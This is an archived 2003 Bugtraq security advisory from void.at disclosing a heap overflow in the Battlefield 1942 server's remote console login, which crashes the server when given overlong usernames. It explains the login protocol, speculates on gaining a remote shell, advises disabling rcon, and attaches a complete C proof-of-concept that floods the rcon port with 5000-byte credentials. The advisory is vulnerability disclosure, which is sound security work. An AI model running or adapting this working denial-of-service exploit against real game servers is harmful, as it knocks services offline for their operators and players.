[29056] in bugtraq

home help back first fref pref prev next nref lref last post

[VSA0307] Battlefield 1942 remote DoS

daemon@ATHENA.MIT.EDU (VOID.AT Security)
Wed Feb 26 13:37:10 2003

From: "VOID.AT Security" <asdf@asdf.com>
Reply-To: asdf@asdf.com
To: bugtraq@securityfocus.com
Date: Wed, 26 Feb 2003 19:19:40 +0100
MIME-Version: 1.0
Content-Type: multipart/signed;
  protocol="application/pgp-signature";
  micalg=pgp-sha1;
  boundary="Boundary-02=_BVQX+W4SaXqAJpj";
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Message-Id: <200302261919.45756.asdf@asdf.com>

--Boundary-02=_BVQX+W4SaXqAJpj
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Description: signed data
Content-Disposition: inline

[void.at Security Advisory VSA0307 - mailto:crew at void dot at]

Battlefield 1942 is a game (c) by Electronic Arts[1].

Overview
=3D=3D=3D=3D=3D=3D=3D=3D

By sending a specially crafted packet to the bf1942-server
remote administration port, an attacker can cause the server=20
to crash.

It *could* even be possible to remotely exploit this
vulnerability to gain a remote shell (see "Details"
for details)

Affected Versions
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

As I discovered this vulnerability, the game's version was
1.2. Because I don't play this game anymore and I didn't
download that overbloated 50 MB patch I have no idea if
the current version (1.3) is vulnerable (but I'd bet).

Impact
=3D=3D=3D=3D=3D=3D

Medium. The remote server simply crashes.

Details
=3D=3D=3D=3D=3D=3D=3D

Battlefield 1942 can be configured to listen to a tcp-port
(default: 4711) and accept connections to remotely enter
commands or change server variables. A command line utility=20
to do that comes with bf1942 ("RemoteConsole.exe"), and there
exists at least one GUI that uses the same protocol.

The session starts by connecting to the rcon-port. The server
responds with an XOR-key that is used to send the username
and the password (although we don't need that here).=20

The login credentials get submitted in the following way:
(byte) Length of Username
(szstring) Username
(byte) Length of Password
(szstring) Password

Heh, I'm sure you've guessed it, you can overwrite the heap
by sending especially long usernames and/or passwords.

Now the interesting part: it is possible to overwrite control
information on the heap (like that famous malloc/free-bugs).
The problem is, that the chunk that receives the username
is the last chunk in the chain, so there is no following=20
control block that could be overwritten to exploit a
free-vulnerability. This is the reason I am not able to
supply an exploit for this.

The thing is, after that block are pointers to the double-
linked ring-list that holds the free blocks. It *is* possible
to overwrite them, but I didn't find a way to exploit that,
other than to remotely DoS the server. Perhaps someone more
skilled (and with more time) can do that (plz let me know *g*)

Length of username > 4280 crashes the server.

Note that by the time I discovered this, the only server
available was the Windows-version. Today there exists a
(beta-)Linux-version too, perhaps you can have more fun
with it.

Solution
=3D=3D=3D=3D=3D=3D=3D=3D

Disable that remote administration thing until a patch
comes out.

Exploit
=3D=3D=3D=3D=3D=3D=3D

I've attached a demonstration exploit.=20

And YES I really wanted to contact the vendors about that
problem, but I gave up after straying around on the EA.com
website for 15 min. searching for a simple mail address
(not to mention requesting a public key...).=20

Discovered by
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

greuff <greuff@void.at>

Credits
=3D=3D=3D=3D=3D=3D=3D

void.at
^sq, G7 and thokky for giving me links to papers

halvar@blackhat.com for simply ignoring my mail regarding the=20
double-linked-list overwrite.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

[1] http://www.ea.com

=2D-----------------------------------------------------------------

/*****************************************************************
 * hoagie_bf1942_rcon.c
 *
 * Remote-DoS for Battlefield 1942-Servers that have their
 * rcon-port activated (4711/tcp by default)
 *
 * Author: greuff@void.at
 *
 * Tested on BF-Server 1.2 on win32
 *
 * Credits:
 *    void.at
 *    ^sq, G7 and thokky
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysexits.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <errno.h>
#include <netdb.h>

int bf1942_rcon_connect(char *servername, int serverport, char *user, char=
=20
*pass, int *s);

int main(int argc, char **argv)
{
   int sock, rval=3D0;
   char *user, *pass;
   int anz=3D5000/*4280*//*4272*//*4200*/;
   if(argc!=3D3)
   {
      printf("Usage: %s servername serverport\n\n",argv[0]);
      return EX_USAGE;
   }
   user=3Dmalloc(anz+1);
   pass=3Dmalloc(anz+1);
   memset(user,0,anz+1);
   memset(user,'A',anz);
   memset(pass,0,anz+1);
   memset(pass,'B',anz);
   do
   {
     =20
rval=3Dbf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock);
      if(rval=3D=3D-1)
      {
         printf("Authentication failed. user=3D%s pass=3D%s\n",user,pass);
	 user[1]++;
         close(sock);
      }
      else if(rval>0)
      {
         printf("Error: %s\n",strerror(rval));
         return -1;
      }
   } while(0);
   return 0;
}

/* open a session to a bf1942-server (Rcon)
 *
 * WARNING this is a minimalist's version of the real rcon-authentication
 * (XOR's skipped)=20
 *
 * in: servername, serverport, username, pass
 * out: on success: 0, serversocket in *sock
 *      on error  : -1 =3D autherror, errno otherwise
 */
int bf1942_rcon_connect(char *servername, int serverport, char *user, char=
=20
*pass, int *s)
{
   int sock, i, rval;
   struct hostent *hp;
   struct sockaddr_in inaddr;
   unsigned long l;

   char xorkey[10], buf[20];

   if((sock=3Dsocket(AF_INET,SOCK_STREAM,0))<0)
      return errno;
   if((hp=3Dgethostbyname(servername))<0)
      return errno;
   inaddr.sin_family=3DAF_INET;
   inaddr.sin_port=3Dhtons(serverport);
   memcpy(&inaddr.sin_addr,*(hp->h_addr_list),sizeof(struct in_addr));
   if(connect(sock,(struct sockaddr *)&inaddr,sizeof(struct sockaddr))<0)
      return errno;

   // connection established. The first thing the server should
   // send is the XOR-Key for transmitting the username and the
   // password.
   if((i=3Dread(sock,xorkey,10))<0)
      return errno;

   // send the username and the password...
   l=3Dstrlen(user)+1;
   if(write(sock,&l,sizeof(long))<0)
      return errno;
   if(write(sock,user,strlen(user)+1)<0)
      return errno;=20
   l=3Dstrlen(pass)+1;
   if(write(sock,&l,sizeof(long))<0)
      return errno;
   if(write(sock,pass,strlen(pass)+1)<0)
      return errno;=20

   if(read(sock,buf,20)<0)
      return errno;=20
   if(buf[0]=3D=3D0x01)
   {
      rval=3D0;   // auth-ok, connection established
      *s=3Dsock;
   }
   else
      rval=3D-1;      // auth-error=20
   return rval;
}


--Boundary-02=_BVQX+W4SaXqAJpj
Content-Type: application/pgp-signature
Content-Description: signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQA+XQVBzxi8qAgTjUMRAjLbAKCN15A0DLoALJE15670dIFEn4AQXgCgi0uK
IZdDvi1kD7cNWP4YV8bq86I=
=e8jV
-----END PGP SIGNATURE-----

--Boundary-02=_BVQX+W4SaXqAJpj--


home help back first fref pref prev next nref lref last post